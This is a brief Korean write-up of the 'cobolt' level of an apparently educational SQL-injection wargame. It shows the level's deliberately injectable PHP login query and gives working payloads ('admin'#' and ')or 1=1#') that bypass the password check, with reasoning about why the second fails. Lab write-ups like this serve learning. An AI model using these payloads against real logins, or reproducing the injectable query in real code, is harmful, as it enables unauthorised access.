Write-Up
<?php
include "./config.php";
login_chk();
$db = dbconnect();
if(preg_match('/prob|_|\.|\(\)/i', $_GET[id])) exit("No Hack ~_~");
if(preg_match('/prob|_|\.|\(\)/i', $_GET[pw])) exit("No Hack ~_~");
$query = "select id from prob_cobolt where id='{$_GET[id]}' and pw=md5('{$_GET[pw]}')";
echo "<hr>query : <strong>{$query}</strong><hr><br>";
$result = @mysqli_fetch_array(mysqli_query($db,$query));
if($result['id'] == 'admin') solve("cobolt");
elseif($result['id']) echo "<h2>Hello {$result['id']}<br>You are not admin :(</h2>";
highlight_file(__FILE__);
?>
pw=md5('{$_GET[pw]}') 로 인해 아래 그림 1과 같은 payload로는 문제를 해결할 수 없다.
pw 인자에 대한 사용자 입력 값이 md5() 함수가 적용된다.
if($result['id'] == 'admin') solve("cobolt");
위 코드에 의해 result['id'] 의 값이 admin이면, 문제를 해결할 수 있다. 그러므로 아래와 같은 payload를 적용해준다.
/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin%27%23
참고
/chall/cobolt_b876ab5595253427d3bc34f1cd8f30db.php?id=admin&pw=%27)or%201=1%23
위와 같은 payload의 결과는 아래 그림 2와 같다.
'or 1=1# 로 인해, DB의 id 필드의 값이 full load되어진다. load된 값 중 가장 위의 값이 rubiya 인 듯하고, 우리가 구하고자 하는 result['id']의 값은 admin이기에 문제를 해결할 수 없는 것이다.